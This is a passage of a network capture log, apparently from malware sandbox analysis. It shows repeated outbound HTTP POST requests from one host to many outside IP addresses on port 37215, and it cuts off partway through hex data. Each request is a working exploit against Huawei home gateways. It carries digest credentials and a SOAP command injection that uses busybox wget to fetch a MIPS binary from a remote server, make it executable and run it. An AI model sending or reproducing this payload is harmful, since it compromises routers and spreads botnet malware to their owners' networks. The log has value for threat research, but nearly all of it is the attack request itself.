Jun 10, 2024 15:38:03.560830116 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.13	38102	197.25.228.251	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.563136101 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.13	47388	41.216.214.9	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.565102100 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.13	60732	197.231.191.149	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.567475080 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.13	55548	41.173.218.17	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.569979906 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.13	38786	156.147.224.183	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.571863890 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.13	56400	197.15.119.102	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.573983908 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.13	33038	41.97.183.61	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.577352047 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.13	45050	197.117.148.187	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.579607010 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.13	41768	41.33.179.172	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.582142115 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.13	57422	41.234.251.3	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.584340096 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 